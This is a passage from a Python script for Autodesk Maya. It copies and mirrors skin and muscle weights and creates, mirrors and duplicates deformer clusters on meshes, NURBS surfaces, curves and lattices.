enumerate(points_all):\n\t\t\t\t\tvalue_pair = []\n\t\t\t\t\tfor tar in targets:\n\t\t\t\t\t\tvalue = lz_weight_data_collection['[%s]'%point][tar]#skinPercent(sk,componentV%(poly,point),q=True,v=True,t=tar)\n\t\t\t\t\t\tif value>0.0:\n\t\t\t\t\t\t\tsetAttr('%s.liw'%tar,0)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tsetAttr('%s.liw'%tar,1)\n\t\t\t\t\t\tif value<=0.01:\n\t\t\t\t\t\t\tvalue_pair.append(tar)\n\t\t\t\t\tfor item in value_pair:\n\t\t\t\t\t\tskinPercent(sk,componentV%(poly,point),tv=[item,0])\n\t\t\t\t\t\tsetAttr('%s.liw'%item,1)\n\t\t\t\t\tif progressWindow(q=1,ic=1):\n\t\t\t\t\t\tprogressWindow(endProgress=1)\n\t\t\t\t\t\tbreak\n\t\t\t\t\tprogressWindow(edit=1, progress=int(percent_v*index),status=('percent: '+str(percent_v*index)[:4]+'%'))\n\n\t\t\t\t\t#points.append(componentV%(poly,point))\n\t\t\tprogressWindow(endProgress=1)\n\t\tif keep == 1 and poly :\n\t\t\tpoly_shape = listRelatives(poly,s=1,pa=1)[0]\n\t\t\tif objectType(poly_shape) ==\"mesh\":\n\t\t\t\tvrt_len = getAttr('%s.vrts'%poly_shape,s=True)\n\t\t\t\tpoints_all = range(vrt_len) \n\t\t\t\ttargets= lz_weight_jo_sort\n\t\t\t\tfor index,point in enumerate(points_all):\n\t\t\t\t\tfor tar in targets:\n\t\t\t\t\t\tvalue = lz_weight_data_collection[point][tar]#skinPercent(sk,componentV%(poly,point),q=True,v=True,t=tar)\t\t\t\n\t\t\t\t\t\tif value>0.2:\n\t\t\t\t\t\t\tsetAttr('%s.liw'%tar,0)\n\t\t\t\t\t\t\tskinPercent(sk,componentV%(poly,point),tv=[tar,value+0.001])\n\t\t\t\t\t\t\t#skinPercent(sk,componentV%(poly,point),tv=[tar,value])\n\t\t\t\t\t\t\tbreak\n\n\tif objectType(sk) == \"cMuscleSystem\":\n\t\tif copy ==1:\n\t\t\tlz_skin_pointWeight = {}\n\t\t\tlz_mirrorSelection_getIndex(points_st,points)\n\t\t\ttargets = mm.eval('cMuscleQuery -system \"'+sk+'\" -mus;')\n\t\t\tfor tar in targets:\n\t\t\t\tvalue = mm.eval('cMuscleWeight -system \"'+sk+'\" -mus \"'+tar+'\" -wt \"sticky\" -pi '+str(points_st[0])+' -q -v') \n\t\t\t\tif value[0]>=0.001:\n\t\t\t\t\tlz_skin_pointWeight[tar] = value[0]\n\t\tif copy ==2:\n\t\t\tselect(points)\n\t\t\tlz_skin_toggleLock(0)\n\t\t\tsk2 = lz_findCluster(poly,'skinCluster')\n\t\t\tenv = 0 \n\t\t\tif sk2:\n\t\t\t\tenv = getAttr('%s.envelope'%sk2)\n\t\t\tif not env:\n\t\t\t\tfor index,item in enumerate(lz_skin_pointWeight):\n\t\t\t\t\tif index:\n\t\t\t\t\t\tmm.eval('cMuscleWeight -system \"'+sk+'\" -mus \"'+item+'\" -wt \"sticky\" -v '+str(lz_skin_pointWeight[item])) \n\t\t\t\t\t\tmm.eval('cMuscleWeight -system \"'+sk+'\" -muscle \"'+item+'\" -wt \"sticky\" -lock 1');\n\t\t\t\t\telse:\n\t\t\t\t\t\tmm.eval('cMuscleWeight -system \"'+sk+'\" -mus \"'+item+'\" -wt \"sticky\" -v 1')\n\t\t\telse:\n\t\t\t\ttargets = mm.eval('cMuscleQuery -system \"'+sk+'\" -mus;')\n\t\t\t\tfor tar in targets:\n\t\t\t\t\tmm.eval('cMuscleWeight -system \"'+sk+'\" -mus \"'+tar+'\" -wt \"sticky\" -v 0') \n\t\t\t\tfor index,item in enumerate(lz_skin_pointWeight):\n\t\t\t\t\tmm.eval('cMuscleWeight -system \"'+sk+'\" -mus \"'+item+'\" -wt \"sticky\" -v '+str(lz_skin_pointWeight[item])) \n\t\t\t\t\tmm.eval('cMuscleWeight -system \"'+sk+'\" -muscle \"'+item+'\" -wt \"sticky\" -lock 1');\t\n\t\t\tlz_skin_toggleLock(0)\n\t\t\t#lz_skin_toggleLock(0)\n\t#setAttr fmSkinCluster1.userWeightList[1093].userWeights[10] 0.2;\n\treturn [points,sum,lz_skin_pointWeight]\n\n\n\n\ndef lz_connectAttr(attr1,attr2):\n\tattr_split = ''\n\tif attr1 and attr2:\n\t\tattr_split = attr2.split('.')\n\t\tif objExists(attr_split[0]):\n\t\t\tconn = listConnections(attr2,p=1)\n\t\t\tif conn and conn[0] == attr1:\n\t\t\t\treturn\n\ttry:\n\t\tlocked = getAttr(attr2,l=1)\n\t\tif locked:\n\t\t\tlz_hideAttr(attr_split[0],[attr_split[1]],1)\n\t\tconnectAttr(attr1,attr2,f=1)\n\t\tif locked:\n\t\t\tlz_hideAttr(attr_split[0],[attr_split[1]])\n\texcept:\n\t\tpass\n\n\n\n\n\ndef lz_hideAttr(obj,attr,reverse=0,v=0):\n\tobjects = []\n\ttemp = ['x','y','z']\n\tif isinstance(obj,list):\n\t\tobjects = obj\n\telse:\n\t\tobjects =[obj]\n\tfor o in objects:\n\t\tif not o:\n\t\t\tcontinue\n\t\t\t\n\t\tfor i in attr:\n\t\t\tif i == 't' or i == 'r' or i == 's':\n\t\t\t\ttry:\n\t\t\t\t\tfor t in temp:\n\t\t\t\t\t\tif not reverse:\n\t\t\t\t\t\t\tsetAttr('%s.%s'%(o,i+t),k=False,channelBox=v,lock=True)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tsetAttr('%s.%s'%(o,i+t),channelBox=True,lock=False)\n\t\t\t\t\t\t\tsetAttr('%s.%s'%(o,i+t),k=True)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\tif not reverse:\n\t\t\t\t\t\tsetAttr('%s.%s'%(o,i),k=False,channelBox=v,lock=True)\n\t\t\t\t\telse:\n\t\t\t\t\t\tsetAttr('%s.%s'%(o,i),channelBox=True,lock=False)\n\t\t\t\t\t\tsetAttr('%s.%s'%(o,i),k=True)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef lz_cluster():\n\tsl = lz_ls()\n\tobj_pair = {}\n\tclu_sl = ''\n\tsl_f ,sl_new = [],[]\n\n\tfor item in sl:\n\t\tif item.find('.f[')!=-1 or item.find('.e[')!=-1:\n\t\t\tsl_f.append(item)\n\t\telse:\n\t\t\tsl_new.append(item)\n\tif sl_f:\n\t\tselect(sl_f)\n\t\tsl1 = polyListComponentConversion(fe=1,tv=1)\n\t\tsl2 = polyListComponentConversion(ff=1,tv=1)\n\t\tsl3 = sl1+sl2\n\t\tif sl3:\n\t\t\tselect(sl3)\t\n\tif sl_new:\n\t\tselect(sl_new,add=1)\n\tsl = ls(selection=True,fl=1)\n\tcur_obj = ''\n\tfor item in sl:\n\t\tif item.find('.') !=-1:\n\t\t\tobj = item.split('.')[0]\t\t\t\t\n\t\t\tif obj not in obj_pair:\n\t\t\t\tobj_pair[obj] = [item]\n\t\t\telse:\n\t\t\t\tobj_pair[obj].append(item)\n\t\telse:\n\t\t\tshape = listRelatives(item,s=1,pa=1)\n\t\t\tif shape:\n\t\t\t\tif objectType(shape[0]) == 'clusterHandle':\n\t\t\t\t\tclu_sl = listConnections('%s.worldMatrix[0]'%item)[0]\n\t\t\t\tif objectType(shape[0]) == 'nurbsCurve':\n\t\t\t\t\tclu_trans =lz_sub_CtlToClu(item)\n\t\t\t\t\tif clu_trans:\n\t\t\t\t\t\tshape = listRelatives(clu_trans,s=1,pa=1)\n\t\t\t\t\t\tif shape:\n\t\t\t\t\t\t\tif objectType(shape[0]) == 'clusterHandle':\n\t\t\t\t\t\t\t\tclu_sl = listConnections('%s.worldMatrix[0]'%clu_trans)[0]\n\t\t\t\t\tcur_obj = item\t\t\t\n\tif not obj_pair:\n\t\tclu_mirs = cluster(rel=1)\n\t\treturn\n\tclu_mirs,clu_raw = [],''\t\n\n\tif not clu_sl:\t\n\t\tclu_raw = cluster(rel=1)[0]\t\n\t\ttrans_ex = xform('%sHandle'%clu_raw,q=1,ws=1,rp=1)\n\t\tselect(cl=1)\n\t\tclu_mirs = cluster(rel=1)\n\t\tsetAttr('%sHandleShape.origin'%clu_mirs[0],trans_ex[0],trans_ex[1],trans_ex[2])\n\t\tlz_xform('%sHandle'%clu_mirs[0],'%sHandle'%clu_raw,1)\n\telse:\n\t\tselect(cl=1)\n\t\tclu_raw = cluster(rel=1)[0]\t\n\t\tclu_mirs =\t[clu_sl]\t\n\tfor index,obj in enumerate(obj_pair):\n\t\tweight_item,weight_item_index,weight_value = [],[],[]\n\t\tobj_dup = duplicate(obj,n=obj+'_dup')[0]\n\t\tselect(obj_pair[obj])\n\t\tshape = listRelatives(obj_dup,s=1,pa=1)[0]\n\t\tif objectType(shape) == 'mesh':\n\t\t\tsl = ls(selection=True,fl=1)\n\t\t\tsl_new = []\n\t\t\tfor v in sl:\n\t\t\t\tsl_new.append(v.replace(obj,obj_dup,1))\n\t\t\tselect(sl_new)\n\t\t\tmove(10,0,0,r=1)\n\t\t\tvrt_len = getAttr('%s.vrts'%shape,s=True)\n\t\t\tfor number in range(vrt_len):\n\t\t\t\tva = getAttr('%s.pnts[%d]'%(obj_dup,number))[0][0]\t\t\t\n\t\t\t\tif va>0:\n\t\t\t\t\tweight_item.append('%s.vtx[%d]'%(obj,number))\n\t\t\t\t\tweight_item_index.append(number)\n\t\t\t\t\tweight_value.append(va/10.0)\n\t\n\t\tif objectType(shape) == 'nurbsSurface':\n\t\t\tsl = ls(selection=True,fl=1)\n\t\t\tsl_new = []\n\t\t\tfor v in sl:\n\t\t\t\tsl_new.append(v.replace(obj,obj_dup,1))\n\t\t\tselect(sl_new)\n\t\t\t\n\t\t\t#makeIdentity(obj_dup,a=1,t=1,s=1,r=1)\n\t\t\tdU ,dV= getAttr('%s.degreeU'%shape),getAttr('%s.degreeV'%shape)\n\t\t\tsU,sV = getAttr('%s.spansU'%shape),getAttr('%s.spansV'%shape)\n\t\t\tformU,formV = getAttr('%s.formU'%shape),getAttr('%s.formV'%shape)\n\t\t\tnU = dU+sU if formU !=2 else dU+sU-1\n\t\t\tnV = dV+sV if formV !=2 else dV+sV-1\n\t\t\tmaxU = dU+sU if formU !=2 else sU\n\t\t\tmaxV = dV+sV if formV !=2 else sV\n\t\t\tn_total = nU*nV\n\t\t\tuv_form = []\n\t\n\t\t\tall_uv = []\t\t\n\t\t\tfor u in range(maxU):\n\t\t\t\tall_uv.append([])\n\t\t\t\tfor v in range(maxV):\n\t\t\t\t\tall_uv[u].append(xform('%s.cv[%d][%d]'%(obj,u,v),q=1,ws=1,t=1)[0])\n\t\t\t\t\tif not u:\n\t\t\t\t\t\tuv_form.append(v)\n\t\t\t\t\telif formV ==2:\n\t\t\t\t\t\tuv_form.append(u*(nV+1)+v)\n\t\t\t\t\telse:\n\t\t\t\t\t\tuv_form.append(u*maxV+v)\t\n\t\t\tmove(10,0,0,r=1)\n\t\t\tfor u in range(maxU):\n\t\t\t\tfor v in range(maxV):\n\t\t\t\t\tva = xform('%s.cv[%d][%d]'%(obj_dup,u,v),q=1,ws=1,t=1)[0]\n\t\t\t\t\tva_minus = va - all_uv[u][v]\n\t\t\t\t\tif va_minus>0.1:\n\t\t\t\t\t\tweight_item.append('%s.cv[%d][%d]'%(obj,u,v))\n\t\t\t\t\t\tweight_item_index.append(uv_form[maxV*u+v])\n\t\t\t\t\t\tweight_value.append(va_minus/10.0)\n\t\tif objectType(shape) == 'nurbsCurve':\n\t\t\tsl = ls(selection=True,fl=1)\n\t\t\tsl_new = []\n\t\t\tfor v in sl:\n\t\t\t\tsl_new.append(v.replace(obj,obj_dup,1))\n\t\t\tselect(sl_new)\n\t\t\tdU,sU,formU= getAttr('%s.degree'%shape),getAttr('%s.spans'%shape),getAttr('%s.form'%shape)\n\t\t\tnU = dU+sU if formU !=2 else dU+sU-1\n\t\t\tmaxU = dU+sU if formU !=2 else sU\n\t\t\tall_u = []\t\t\n\t\t\tfor u in range(maxU):\n\t\t\t\tall_u.append(xform('%s.cv[%d]'%(obj,u),q=1,ws=1,t=1)[0])\n\t\t\tmove(10,0,0,r=1)\n\t\t\tfor u in range(maxU):\n\t\t\t\tva = xform('%s.cv[%d]'%(obj_dup,u),q=1,ws=1,t=1)[0]\n\t\t\t\tva_minus = va - all_u[u]\n\t\t\t\tif va_minus>0.1:\n\t\t\t\t\tweight_item.append('%s.cv[%d]'%(obj,u))\n\t\t\t\t\tweight_item_index.append(u)\n\t\t\t\t\tweight_value.append(va_minus/10.0)\n\t\tif objectType(shape) == 'lattice':\n\t\t\tsl = ls(selection=True,fl=1)\n\t\t\tsl_new = []\n\t\t\tfor v in sl:\n\t\t\t\tsl_new.append(v.replace(obj,obj_dup,1))\n\t\t\tselect(sl_new)\n\t\t\tuDiv = getAttr('%s.uDivisions'%shape)\n\t\t\ttDiv = getAttr('%s.tDivisions'%shape)\n\t\t\tsDiv = getAttr('%s.sDivisions'%shape)\n\t\t\titem_form = []\n\t\t\tall_pt = []\n\t\t\tfor u in range(uDiv):\n\t\t\t\tall_pt.append([])\n\t\t\t\tfor t in range(tDiv):\n\t\t\t\t\tall_pt[u].append([])\n\t\t\t\t\tfor s in range(sDiv):\n\t\t\t\t\t\tall_pt[u][t].append(xform('%s.pt[%d][%d][%d]'%(obj_dup,s,t,u),q=1,ws=1,t=1)[0])\n\t\t\t\t\t\titem_form.append(u*tDiv*sDiv+t*sDiv+s)\n\t\t\tmove(10,0,0,r=1)\t\t\t\n\t\t\tfor u in range(uDiv):\n\t\t\t\tfor t in range(tDiv):\n\t\t\t\t\tfor s in range(sDiv):\n\t\t\t\t\t\tva = xform('%s.pt[%d][%d][%d]'%(obj_dup,s,t,u),q=1,ws=1,t=1)[0]\n\t\t\t\t\t\tva_minus = va - all_pt[u][t][s]\n\t\t\t\t\t\tif va_minus>0.1:\n\t\t\t\t\t\t\tweight_item.append('%s.pt[%d][%d][%d]'%(obj,s,t,u))\n\t\t\t\t\t\t\tweight_item_index.append(item_form[u*tDiv*sDiv+t*sDiv+s])\n\t\t\t\t\t\t\tweight_value.append(va_minus/10.0)\n\t\tif weight_item:\t\t\t\n\t\t\tset_clu = \t listConnections('%s.message'%clu_mirs[0])[0]\n\t\t\tselect(weight_item)\t\n\t\t\tsets(fe= set_clu)\n\t\t\n\t\t\tobj_index = '%d'%index \n\t\t\tobjs_plugs = listConnections('%s.dagSetMembers'%set_clu,p=1)\n\t\t\tobj_shape = listRelatives(obj,s=1,pa=1)[0]\n\t\t\t#obj_index = objs.index(obj)\n\t\t\tobj_index = lz_clu_findIndex(clu_mirs[0],obj)\n\t\t\tfor sub_index ,sub_item in enumerate(weight_item_index):\n\t\t\t\ttry:\n\t\t\t\t\tsetAttr('%s.weightList[%s].weights[%s]'%(clu_mirs[0],obj_index,sub_item),weight_value[sub_index])\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\tlz_delete([obj_dup])\n\tlz_delete(['%sHandle'%clu_raw])\t\n\tif not cur_obj:\n\t\tselect(listConnections('%s.matrix'%clu_mirs[0])[0])\t\t\n\telse:\n\t\tselect(cur_obj)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef lz_selfMirror_cluster(trans=[],doPrint = 1,mirrorType = 1):\n\ttrans = lz_ls() if not trans else trans\n\tvalue_pair = {}\n\ttrans_mir_all,trans_all,clu_mirs =[],[],['','']\n\tfor tran in trans:\n\t\tpo_index1,po_index2 = [],[]\n\t\tif not tran:\n\t\t\tcontinue\n\t\tif attributeQuery('worldMatrix',node = tran,ex=1):\n\t\t\tclu = listConnections('%s.worldMatrix[0]'%tran)\n\t\telif attributeQuery('relative',node = tran,ex=1):\t\n\t\t\t\tcontinue\n\t\telse:\n\t\t\tcontinue\n\t\tif not clu:\n\t\t\tif objExists('%s_hide'%tran):\n\t\t\t\ttran = listConnections('%s_hide.t'%tran)[0]\n\t\t\t\tclu = listConnections('%s.worldMatrix[0]'%tran)\n\t\t\telse:\n\t\t\t\tcontinue\n\t\tif isinstance(clu,list):\n\t\t\tclu = clu[0]\n\t\tif objectType(clu) != 'cluster':\n\t\t\tcontinue\n\t\tcount = getAttr('%s.weightList'%clu,s=1)\n\n\t\tselect(tran)\t\n\t\tEditMembershipTool()\n\t\tpoints = lz_ls()\n\t\tsetToolTo('selectSuperContext')\n\n\t\tset_clu = \t listConnections('%s.message'%clu)[0]\n\t\tobj_index = '0' \n\t\tobjs_plugs = listConnections('%s.dagSetMembers'%set_clu,p=1)\n\t\tpoly = listConnections('%s.dagSetMembers'%set_clu)[-1]\n\t\tobj_shape = listRelatives(poly,s=1,pa=1)[0]\n\t\tobj_index = lz_clu_findIndex(clu,poly)\n\t\tpoints_new = []\n\t\tif count==1:\t\n\t\t\tlz_mirrorSelection_getIndex(po_index1,points)\n\t\telse:\n\t\t\tfor s in points:\n\t\t\t\tif s.find(poly) !=-1:\n\t\t\t\t\tpoints_new.append(s)\n\t\t\tlz_mirrorSelection_getIndex(po_index1,points_new)\t\n\t\t\tpoints = points_new\n\n\t\tselect(points)\n\t\t#mir_points = lz_mirrorSelection(type=0,prec=4)\n\t\t#lz_mirrorSelection_getIndex(po_index2,mir_points)\n\t\t\n\t\t#if not mir_points:\n\t\t#\tcontinue\n\n\t\tname_mir = tran\n\n\t\tpo_neg_index,po_neg = [],[]\n\t\tpo_pos_index,po_pos = [],[]\n\t\tpo_mid_index,po_mid = [],[]\n\t\tfor index,item in enumerate(po_index1):\n\t\t\tvtx = xform('%s.vtx[%d]'%(poly,item),q=1,ws=1,t=1)\n\t\t\tif vtx[0]<0:\n\t\t\t\tpo_neg_index.append(item)\n\t\t\t\tpo_neg.append('%s.vtx[%d]'%(poly,item))\n\t\t\tif vtx[0]>0:\n\t\t\t\tpo_pos_index.append(item)\n\t\t\t\tpo_pos.append('%s.vtx[%d]'%(poly,item))\n\t\t\tif abs(vtx[0])<0.0001:\n\t\t\t\tpo_mid_index.append(item)\n\t\t\t\tpo_mid.append('%s.vtx[%d]'%(poly,item))\t\t\n\n\t\ttrans,clu_pos, clu_neg =[],'',''\n\t\tmir_points,mir_points_index,mir_points_value = [],[],[]\n\t\tif po_mid:\n\t\t\tfor index,item in enumerate(po_mid_index):\n\t\t\t\tva = getAttr('%s.weightList[%s].weights[%s]'%(clu,obj_index,item))\n\t\t\t\tmir_points.append('%s.vtx[%d]'%(poly,item))\n\t\t\t\tmir_points_value.append(va)\n\t\t\t\tmir_points_index.append(item)\t\t\t\n\t\tif po_pos and mirrorType == 1:\n\t\t\tselect(po_pos)\n\t\t\tclu_pos = \tcluster(rel=1)[0]\n\n\t\t\tfor index,item in enumerate(po_pos_index):\n\t\t\t\tva = getAttr('%s.weightList[%s].weights[%s]'%(clu,obj_index,item))\n\t\t\t\tmir_points.append('%s.vtx[%d]'%(poly,item))\n\t\t\t\tmir_points_value.append(va)\n\t\t\t\tmir_points_index.append(item)\n\t\t\t\ttry:\n\t\t\t\t\tsetAttr('%s.weightList[0].weights[%s]'%(clu_pos,item),va)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\tpoly_dup = duplicate(poly,n=poly+'_dupCluPoly')[0]\t\n\t\t\tpoly_dup_shape = listRelatives(poly,s=1,pa=1)[0]\n\t\t\tvrt_len = getAttr('%s.vrts'%poly_dup_shape,s=True)\n\t\t\tcluJo_return = lz_cluToJo(trans=['%sHandle'%clu_pos],makeSkin = 1,otherPoly = 1,poly_dup = poly_dup )\n\t\t\t#[skin_new,base_jo,joints_all,poly_dup]\n\t\t\tjoints_all= cluJo_return[2]\n\t\t\tjo_mir = lz_pre_simpleMirror(joints_all[0],sameParent= 1)\n\t\t\n\t\t\tskinCluster(cluJo_return[0],ai= jo_mir,lw = 1,e=1,wt=0) \n\t\t\tsetAttr('%s.liw'%jo_mir,0)\n\t\t\t#mirrorInverse = 1 if po_neg else 0\n\t\t\tcopySkinWeights( ss=cluJo_return[0], ds=cluJo_return[0], noMirror=0 ,mirrorMode='YZ',mirrorInverse= 0)\n\t\t\tfor item in range(vrt_len):\n\t\t\t\tva = skinPercent(cluJo_return[0],'%s.vtx[%d]'%(poly_dup,item),q=1,v=1,t=jo_mir) \n\t\t\t\tif va>0.02:\n\t\t\t\t\tmir_points.append('%s.vtx[%d]'%(poly,item))\n\t\t\t\t\tmir_points_value.append(va)\n\t\t\t\t\tmir_points_index.append(item)\n\t\t\tlz_delete([poly_dup,cluJo_return[1],jo_mir,clu_pos,joints_all[0]])\n\t\t\t\n\t\tif po_neg and mirrorType == 2:\n\t\t\tselect(po_neg)\n\t\t\tclu_neg = \tcluster(rel=1)[0]\t\t\n\t\n\t\t\tfor index,item in enumerate(po_neg_index):\n\t\t\t\tva = getAttr('%s.weightList[%s].weights[%s]'%(clu,obj_index,item))\n\t\t\t\tmir_points.append('%s.vtx[%d]'%(poly,item))\n\t\t\t\tmir_points_value.append(va)\n\t\t\t\tmir_points_index.append(item)\n\t\t\t\ttry:\n\t\t\t\t\tsetAttr('%s.weightList[0].weights[%s]'%(clu_neg,item),va)\n\t\t\t\texcept:\n\t\t\t\t\tpass\t\t\n\t\t\tpoly_dup = duplicate(poly,n=poly+'_dupCluPoly')[0]\t\n\t\t\tpoly_dup_shape = listRelatives(poly,s=1,pa=1)[0]\t\n\t\t\tvrt_len = getAttr('%s.vrts'%poly_dup_shape,s=True)\t\t\n\t\t\tcluJo_return = lz_cluToJo(trans=['%sHandle'%clu_neg],makeSkin = 1,otherPoly = 1,poly_dup = poly_dup )\t\n\t\t\tjoints_all= cluJo_return[2]\n\t\t\tjo_mir = lz_pre_simpleMirror(joints_all[0],sameParent= 1)\n\t\t\n\t\t\tskinCluster(cluJo_return[0],ai= jo_mir,lw = 1,e=1,wt=0) \n\t\t\tsetAttr('%s.liw'%jo_mir,0)\n\t\t\t#mirrorInverse = 1 if po_neg else 0\n\t\t\tcopySkinWeights( ss=cluJo_return[0], ds=cluJo_return[0], noMirror=0 ,mirrorMode='YZ',mirrorInverse= 1)\n\t\t\tfor item in range(vrt_len):\n\t\t\t\tva = skinPercent(cluJo_return[0],'%s.vtx[%d]'%(poly_dup,item),q=1,v=1,t=jo_mir) \n\t\t\t\tif va>0.02:\n\t\t\t\t\tmir_points.append('%s.vtx[%d]'%(poly,item))\n\t\t\t\t\tmir_points_value.append(va)\n\t\t\t\t\tmir_points_index.append(item)\n\t\t\tlz_delete([poly_dup,cluJo_return[1],jo_mir,joints_all[0],clu_neg])\n\t\t\t\n\t\tmir_index = '0'\t\n\n\n\t\t\t\t\n\n\t\t\n\t\tclu_mirs[0] = listConnections('%s.worldMatrix[0]'%name_mir)\n\t\tif not clu_mirs[0]:\n\t\t\treturn \n\t\tclu_mirs[0] = clu_mirs[0][0]\n\t\t\n\t\tclu_mir = clu_mirs[0]\n\t\tmir_set_clu = \t listConnections('%s.message'%clu_mir)[0]\n\t\tpoints_new = []\n\t\tfor s in mir_points:\n\t\t\tif s.find(poly) !=-1:\n\t\t\t\tpoints_new.append(s)\n\t\tcurrent_points = []\t\t\n\t\tmir_set_clu = \t listConnections('%s.message'%clu_mir)[0]\t\n\t\tobjs_plugs_mir = listConnections('%s.dagSetMembers'%mir_set_clu,p=1)\n\t\tobj_shape_mir = listRelatives(poly,s=1,pa=1)[0]\n\t\tmir_index = lz_clu_findIndex(clu_mir,poly)\n\t\tselect(name_mir)\n\t\tEditMembershipTool()\t\t\t\t\t\n\t\tcu = lz_ls()\n\t\tfor c in cu:\n\t\t\tif c.find(poly) !=-1:\n\t\t\t\tcurrent_points.append(c)\n\t\tcurrent_index = []\t\t\n\t\tlz_mirrorSelection_getIndex(current_index,current_points)\t\t\t\n\t\tif current_points:\n\t\t\tfor index,item in enumerate(current_index):\n\t\t\t\t#va = getAttr('%s.weightList[0].weights[%s]'%(clu,item))\n\t\t\t\ttry:\n\t\t\t\t\tsetAttr('%s.weightList[%s].weights[%s]'%(clu_mir,mir_index,item),0)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\n\t\tselect(points_new)\n\t\tsets(fe=mir_set_clu)\n\t\t\t\n\t\tmir_set_clu = \t listConnections('%s.message'%clu_mir)[0]\t\n\t\tobjs_plugs_mir = listConnections('%s.dagSetMembers'%mir_set_clu,p=1)\n\t\tmir_index = lz_clu_findIndex(clu_mir,poly)\n\n\t\t\n\t\ttrans_mir_all.append(name_mir)\n\t\ttrans_all.append(tran)\n\t\t\n\t\tfor index,item in enumerate(mir_points_index):\n\t\t\t#va = getAttr('%s.weightList[0].weights[%s]'%(clu,item))\n\t\t\ttry:\n\t\t\t\tsetAttr('%s.weightList[%s].weights[%s]'%(clu_mir,mir_index,item),mir_points_value[index])\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\n\t\t\n\t\tif doPrint:\n\t\t\tlz_print('对称完成!\\\\n')\n\t\t\n\tsetToolTo('selectSuperContext')\t\t\n\tif(trans_all+trans_mir_all):\t\t\n\t\tselect(trans_all+trans_mir_all)\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef lz_dupCluster(trans=[],doPrint = 1):\n\ttrans = lz_ls() if not trans else trans\n\tvalue_pair = {}\n\ttrans_mir_all,trans_all,clu_mirs =[],[],['','']\n\tfor tran in trans:\n\t\tpo_index1,po_index2 = [],[]\n\t\tif not tran:\n\t\t\tcontinue\n\t\tif attributeQuery('worldMatrix',node = tran,ex=1):\n\t\t\tclu = listConnections('%s.worldMatrix[0]'%tran)\n\t\telif attributeQuery('relative',node = tran,ex=1):\t\n\t\t\t\tcontinue\n\t\telse:\n\t\t\tcontinue\n\t\tif not clu:\n\t\t\tif objExists('%s_hide'%tran):\n\t\t\t\t#lz_sub_CtlToClu\n\t\t\t\ttran = lz_sub_CtlToClu(tran)\n\t\t\t\t#tran = listConnections('%s_hide.t'%tran)[0]\n\t\t\t\tclu = listConnections('%s.worldMatrix[0]'%tran)\n\t\t\telse:\n\t\t\t\tcontinue\n\t\tif isinstance(clu,list):\n\t\t\tclu = clu[0]\n\t\tif objectType(clu) != 'cluster':\n\t\t\tcontinue\n\t\tcount = getAttr('%s.weightList'%clu,s=1)\n\n\t\tselect(tran)\t\n\t\tEditMembershipTool()\n\t\tpoints = lz_ls()\n\t\tsetToolTo('selectSuperContext')\n\n\t\tset_clu = \t listConnections('%s.message'%clu)[0]\n\t\tobj_index = '0' \n\t\tobjs_plugs = listConnections('%s.dagSetMembers'%set_clu,p=1)\n\t\tpoly = listConnections('%s.dagSetMembers'%set_clu)[-1]\n\t\tobj_shape = listRelatives(poly,s=1,pa=1)[0]\n\t\tobj_index = lz_clu_findIndex(clu,poly)\n\t\tpoints_new = []\n\t\tif count==1:\t\n\t\t\tlz_mirrorSelection_getIndex(po_index1,points)\n\t\telse:\n\t\t\tfor s in points:\n\t\t\t\tif s.find(poly) !=-1:\n\t\t\t\t\tpoints_new.append(s)\n\t\t\tlz_mirrorSelection_getIndex(po_index1,points_new)\t\n\t\t\tpoints = points_new\n\n\t\tselect(points)\n\t\t#mir_points = lz_mirrorSelection(type=0,prec=4)\n\t\t#lz_mirrorSelection_getIndex(po_index2,mir_points)\n\t\t\n\t\tname_mir = tran.replace('l_','r_',1)\n\t\tif name_mir == tran:\n\t\t\tname_mir.replace('r_','l_',1)\n\t\tif name_mir == tran:\n\t\t\tname_mir = tran+'_mir'\n\t\t#if not mir_points:\n\t\t#\tcontinue\n\n\t\tpo_neg_index,po_neg = [],[]\n\t\tpo_pos_index,po_pos = [],[]\n\t\tpo_mid_index,po_mid = [],[]\n\t\tfor index,item in enumerate(po_index1):\n\t\t\tvtx = xform('%s.vtx[%d]'%(poly,item),q=1,ws=1,t=1)\n\t\t\tif vtx[0]<0:\n\t\t\t\tpo_neg_index.append(item)\n\t\t\t\tpo_neg.append('%s.vtx[%d]'%(poly,item))\n\t\t\tif vtx[0]>0:\n\t\t\t\tpo_pos_index.append(item)\n\t\t\t\tpo_pos.append('%s.vtx[%d]'%(poly,item))\n\t\t\tif abs(vtx[0])<0.001:\n\t\t\t\tpo_mid_index.append(item)\n\t\t\t\tpo_mid.append('%s.vtx[%d]'%(poly,item))\t\t\n\n\t\ttrans,clu_pos, clu_neg =[],'',''\n\t\tmir_points,mir_points_index,mir_points_value = [],[],[]\n\t\tif po_mid:\n\t\t\tfor index,item in enumerate(po_mid_index):\n\t\t\t\tva = getAttr('%s.weightList[%s].weights[%s]'%(clu,obj_index,item))\n\t\t\t\tmir_points.append('%s.vtx[%d]'%(poly,item))\n\t\t\t\tmir_points_value.append(va)\n\t\t\t\tmir_points_index.append(item)\t\t\t\n\t\tif po_pos:\n\t\t\tselect(po_pos)\n\t\t\tclu_pos = \tcluster(rel=1)[0]\n\t\n\t\t\tfor index,item in enumerate(po_pos_index):\n\t\t\t\tva = getAttr('%s.weightList[%s].weights[%s]'%(clu,obj_index,item))\n\t\t\t\ttry:\n\t\t\t\t\tsetAttr('%s.weightList[0].weights[%s]'%(clu_pos,item),va)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\tpoly_dup = duplicate(poly,n=poly+'_dupCluPoly')[0]\t\n\t\t\tpoly_dup_shape = listRelatives(poly,s=1,pa=1)[0]\n\t\t\tvrt_len = getAttr('%s.vrts'%poly_dup_shape,s=True)\n\t\t\tcluJo_return = lz_cluToJo(trans=['%sHandle'%clu_pos],makeSkin = 1,otherPoly = 1,poly_dup = poly_dup )\n\t\t\t#[skin_new,base_jo,joints_all,poly_dup]\n\t\t\tjoints_all= cluJo_return[2]\n\t\t\tjo_mir = 